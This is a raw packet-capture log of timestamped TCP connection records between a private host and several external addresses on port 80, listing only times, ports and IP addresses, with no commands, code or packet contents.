Dec 27, 2024 09:00:30.080259085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.080311060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080322981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080415964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.080560923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080624104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080630064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.080636024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080768108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080774069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.080779076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080790997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080802917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.080866098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.080866098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.081228018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.081247091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.081259012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.081329107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.081377029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.081393003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.081406116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.081418991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.081433058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.081506968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.233815908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.233854055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.233869076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.233937979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.233949900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.233962059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.233977079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234006882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.234006882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.234131098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234143019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234153032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.234155893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234193087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.234256983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234267950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234281063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234281063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.234297037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.234397888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.234397888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.235099077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235181093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235192060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235248089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.235281944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235294104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235300064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235306978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235383987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235388041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.235441923 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.235677958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235759974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235771894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235866070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.235894918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235905886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235918999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.235929966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236040115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.236040115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.236316919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236370087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.236402988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236414909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236509085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.236515045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236649036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236705065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236716986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236740112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.236746073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.236960888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.237195969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237257004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237267971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237390041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237401009 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237412930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237425089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237466097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.237466097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.237466097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.237466097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.237569094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237634897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237647057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237750053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237761021 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237772942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237786055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.237868071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.237868071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.237868071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.238496065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238554001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238554955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.238573074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238585949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238624096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.238661051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238706112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.238737106 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238748074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238864899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.238965034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238984108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.238996029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239007950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239017010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.239063025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.239063978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239074945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239087105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239165068 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.239392996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239429951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.239438057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239451885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239545107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239588976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239599943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239604950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.239613056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.239646912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.239646912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.240009069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240050077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240061045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240196943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240202904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.240209103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240221977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240235090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240362883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.240362883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.240379095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240437984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240444899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.240451097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240524054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.240946054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.240997076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.241009951 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.241059065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.241084099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.241130114 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281023979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281060934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281071901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281174898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281188011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281199932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281234980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281234980 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281267881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281272888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281327963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281372070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281378031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281421900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281434059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281450033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281603098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281614065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281626940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281639099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281651974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281665087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.281665087 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281728983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.281728983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.282296896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282308102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282332897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282341003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.282444954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.282449007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282461882 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282476902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282489061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282577038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.282577038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.282634974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282645941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282660007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.282723904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.329535007 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.459229946 CET	49746	80	192.168.2.4	185.215.113.206
Dec 27, 2024 09:00:30.573214054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573230028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573251963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573263884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573276043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573287010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573283911 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.573405981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.573405981 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.573571920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573587894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573643923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573654890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573668003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573678970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573702097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573714972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.573753119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.573753119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.573753119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.573753119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.574240923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574254036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574265003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574280024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574291945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574304104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574315071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574326992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574338913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574357033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574369907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574382067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574393988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574405909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574420929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574433088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.574500084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.574500084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.574500084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.574500084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.574500084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.574500084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.574500084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575072050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575093031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575110912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575123072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575134039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575146914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575169086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575180054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575198889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575211048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575222969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575236082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575234890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575234890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575234890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575234890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575247049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575259924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575273037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575285912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.575376987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575376987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575376987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.575377941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576035023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576047897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576060057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576071978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576158047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576159954 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576158047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576179028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576193094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576206923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576220036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576231956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576247931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576247931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576247931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576261997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576273918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576286077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576297045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576309919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576323032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.576325893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576325893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576432943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.576432943 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577239990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577255011 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577267885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577280045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577291965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577305079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577320099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577332020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577332020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577332020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577338934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577352047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577363968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577379942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577393055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577406883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577419996 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577461004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577461004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577461004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577461004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577461004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577501059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:30.577635050 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:30.577807903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:31.051280975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:04.641030073 CET	49773	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:04.760708094 CET	80	49773	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:04.760808945 CET	49773	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:04.761277914 CET	49773	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:04.880702972 CET	80	49773	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:07.150964975 CET	80	49773	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:07.151078939 CET	49773	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:08.674185991 CET	49773	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:08.674633026 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:08.794044971 CET	80	49773	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:08.794105053 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:08.794199944 CET	49773	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:08.794269085 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:08.794559002 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:08.913975954 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:10.136140108 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:10.136205912 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:10.141282082 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:10.262933016 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:10.263036013 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:10.263361931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:10.383371115 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.696923018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.696955919 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.696969032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:11.697006941 CET	80	49789	185.215.113.16	192.168.2.4
